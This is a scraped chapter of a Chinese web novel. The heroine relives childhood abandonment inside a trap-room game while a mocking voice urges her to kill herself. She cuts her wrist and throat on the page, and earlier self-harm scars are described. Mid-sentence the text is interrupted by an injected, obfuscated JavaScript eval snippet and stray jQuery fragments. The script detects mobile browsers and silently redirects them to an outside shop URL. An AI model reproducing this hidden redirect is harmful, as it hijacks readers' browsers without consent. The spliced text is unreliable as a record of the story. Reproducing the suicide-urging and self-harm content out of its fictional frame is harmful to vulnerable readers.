万书库 > 其他小说 > 逃出酒店总共分几步 > 20. 旧时梦魇(1)
    “陆泊星,顾文雅,徐简?”


    沈晏之进了那扇门,周围依旧是黑漆漆的一片,什么都看不到,也看不到在她之前进来的那几个人。


    沈晏之漫无目的的走在黑暗中。


    前方出现了一个光点,沈晏之追着那光点走,光点随着沈晏之的靠近越发清晰,最后,沈晏之走进一个房间里。


    这个房间和其它副本房间一个模样,却比任何一个房间都让人惊讶。


    这里所有的衣服都是沈晏之的旧衣,从五岁开始,一直到现在。


    房间里没有窗户,没有别人,只有这些衣服。


    沈晏之深呼吸着,将手放在其中一件背带裤上,那分明是沈晏之十岁左右的衣服,却被做成了成年人的尺码。


    想多了,一定是想多了。


    沈晏之闭上眼睛。


    搞不好是亲子装。


    沈晏之回头看去,发现这个房间也没有门了,这里成了一个四四方方的密封空间。


    好好好,这么玩是吧。


    沈晏之换上那件衣服,安静的在房间里等着,约末一分钟后,房间中央浮现了几个蓝色大字。


    “欢迎进入副本,本轮无难度,请玩家尽情享受游戏吧。”


    沈晏之这一次没有摔在地上,她站在自己儿时的房间里。


    “副本。”


    “身份:本人。”


    “道具:自己。”


    “请开始游戏。”


    沈晏之的房间里有一面全身镜,上面落满了灰尘。


    那面镜子总是正对着床。


    这么个布局并不是有意为之,而是杂物太多了,全身镜是最先被摆在这里的,随后越来越多的东西挤进来,活生生把人家全身镜挤到了最里侧。


    那面镜子里倒映出沈晏之现在的样子。


    小小的身体上挂着并不合身的旧衣服,两根细小枯黄的辫子无力的垂在肩头,稚嫩的脸,无神的眼。


    弱小,无助。


    她最憎恶的那几年。


    为什么要穿这件衣服呢?


    沈晏之听到了门外,舅舅舅妈的争吵声。


    他们在打电话,沈晏之大概猜的到他们在给谁打电话。


    “妈了个巴子的,沈露白,把孩子一扔,她倒清闲,我们活该给她养拖油瓶!”


    房间的门被推开了,舅妈脸上余怒未消,却僵硬的挤出一个笑来。


    她说,你该去上学了。


    沈晏之麻木的接过书包。


    时间飞速流逝,很快,到了沈晏之来到这里之后的第二年。


    舅舅一家人出门了,留下沈晏之一个人在房子里。


    过年了,他们要出去放烟花。


    “伤心吗,剩你一个人了。”


    沈晏之一惊。


    这个声音,这个声音不是……那个每隔七日一报幕的家伙。


    “如果我是你,死了算了。”那个声音回荡在空气里,一声声钻入沈晏之的耳朵里。


    “你到底是个什么东西?”


    “为什么把这么多人关在这里?”


    “你的目的是什么?”


    沈晏之找不到声音的来源,她只能在房间内来来回回的走,一遍一遍的问。


    她也明知道问不出答案,她不过是想隐藏自己的心慌。


    那个声音也笑话她:“啊,我可怜的孩子,我有什么理由告诉你这些呢?”


    “你就永远的,永远的留在这里吧。”


    “去你大爷的。”沈晏之道。


    “……哦我亲爱的孩子,怎么能如此粗俗。”


    “你爹了个根的。”


    “……小姑娘,礼貌点。”


    “你没妈。”


    “……不要这样讲话。”


    “呵,呸!”


    那个声音沉默了。


    “老东西,说话啊!”沈晏之喊道。


    依旧没动静。


    “呵。”沈晏之轻笑一声,坐在床上,她发现自己的身体有了细微的变化。


    她长高了。


    她身上的衣服不再是那件背带裤,是另一件被淘汰下来的旧衣服。


    她的十五岁。


    依旧苍白。


    沈晏之记得,她在这一年偷听到舅舅给沈露白打电话。


    “你爸了个根的!你到底回不回来!”


    那是她几年来头一次得知自己生母的近况,她迫不及待的跑出去。


    最后只得到一句:“以后,别在外人面前喊我妈妈了。”以及舅妈的一顿毒打。


    “还去找她干什么?”


    “她带你走了吗?”


    “少你吃还是少你穿了!”


    “白眼狼。”


    那天之后,沈晏之变得很不对劲。


    她不说话,不笑,不再强求着要出门。


    沈晏之跌倒在那间更衣室里。


    地板很硬很冷,她在上面趴了很久都没能站起来。


    “哦我可怜的孩子,你妈好狠的心啊。”


    “闭嘴老斑鸠。”


    沈晏之从地上爬起来,袖口下露出几道粗糙的疤痕。


    “那个时候很想死吧。”那个声音喋喋不休,用它那讨人厌的语气不停的说:“那为什么不自我了断,为什么你这样的人还活着?谁会在意你的存在呢?”


    “我叫你闭嘴!”沈晏之找不到声音的来源,只能砸房间里的衣服泄愤。


    “为什么不让人说话?”


    “因为老娘破防了!”沈晏之喊着,她感觉到自己有些体力不支,才刚站起来没多久就双腿无力,重重跌在地上,说:“再者,你是人吗?”


    “哦,我那执迷不悟的孩子啊。”那个声音变得冰冷起来,说道:“既然如此,我好人做到底,让你看看你有多么的,多余。”


    一道光闪过。


    沈晏之身边的景象变了。


    她看着自己纤长的手脚,伸出手摸了下自己的头发。


    嗯,浓密茂盛,油光水滑。


    这是成年后的她。


    那现在是哪一年,是什么时间?


    沈晏之从自己的口袋里摸出一部手机,巧的是,手机正好响起来了,备注是“妈妈”。


    沈晏之犹豫了一下,还是按下了那个绿色的接听键。


    电话那头是一个熟悉的女声,疲惫,却温柔:“到家了没有?”


    沈晏之一时不知道怎么回答。


    她刚才看了手机上显示的时间,她印象里,这个时候,她还挤在自己的出租屋里,阴冷,潮湿,连空气都是稀薄的。


    她那个时候是怎么回答的呢?


    “到了。”沈晏之说道。


    电话那头的人没说话,只是轻轻叹息了一声,好像也犹豫了很久,才开口说:“最后一次。”


    沈晏之怔住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553771|204399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    电话那头说道:“以后,不要再来打扰我的生活。”


    “谁也不要,再来打扰我的生活。”


    滴。


    她挂掉了电话。


    有人在笑。


    沈晏之回过神来,艰难的扯起一个微笑,说道:“老东西,笑什么。”


    “笑你。”那个讨人厌的声音笑的狰狞,它说:“现在知道了吗,你是个多么多余人的人,你妈不要你……”


    “你都没妈,还有脸笑我。”沈晏之打断它。


    “….……”


    “哦,不对,我并没有见过你的脸,你有脸吗?”


    “………”


    “我再问你一遍。”


    “你到底是个什么东西?”


    “为什么把这么多人关在这里?”


    “你的目的是什么?”


    沈晏之没听到那个声音的回话,她问:“你到底是个什么东西?你是人是鬼?”


    没人回答。


    “首先,排除人这个选项。”沈晏之说着,从口袋里掏出一把美工刀。


    她将那把刀贴在手腕上,割了一下。


    “你在做什么?”那个声音似乎对沈晏之的行为感到不解,语气中带着少见的迷惑。


    “这里困扰我的事情太多了。”沈晏之收起刀,冷静的用衣角清理流岀来的血液。


    “我只是想要知道某些问题的答案。”


    那个声音变得温柔起来,它说:“啊,愚蠢的年轻人,何必如此对待自己呢,你有什么问题,大可以问我这个无所不知的神呐。”


    “神?”沈晏之大笑起来,“你觉得自己是神?神会把世人带到一个鬼地方关起来?神会眼睁睁的看着自己的子民死于非命?神会把人类变成一个又一个怪物圈在小花园里?”


    那个声音变得十分无奈,那语气仿佛是在教育一个不怎么听话的小孩子。


    “我亲爱的孩子,你还有什么可问的呢?你这不是己经知道很多了吗?还想怎么样呢?”


    “呸!”


    “还是这么没礼貌。”


    “你是神对吗?”沈晏之扬起那把美工刀,对准自己的咽喉,说:“那就让我看看,你有没有那个本事控制我。”


    “你要干什么?”那个声音突然慌张起来,大喊:“你这个愚蠢的家伙!快把刀放下!”


    沈晏之割破了自己的颈部动脉。


    如果她没记错,除了通关完成任务,在副本中死亡,那也是可以出去的。


    沈晏之跌落在更衣室里,她抚上自己的脖颈,不痛,没伤,没流血。再看自己的手腕,也没有再多出一道伤疤。


    沈晏之低头往下看去。


    衣角上有血,大片的,鲜红的血液,就像是刚刚才染上的,或者说,就是刚刚染上的。


    “更迷茫了吧,我可怜的孩子。”


    沈晏之没理会它,而是开始在房间内找出口,她推开那些堆在角落的衣服,把房间里每一处都检查了个遍,可惜,这个房间里确实连一个出口都没有,别说出口了,连一个缝隙都见不到,这里被彻底封死了。


    沈晏之坐在那一堆衣服里。


    怎么会这样?


    非要她通关才能出去吗?


    那么问题来了。


    她要如向在名为“自己”的副本中通关呢?


    嘎嘎乱杀?


    恐怕行不通。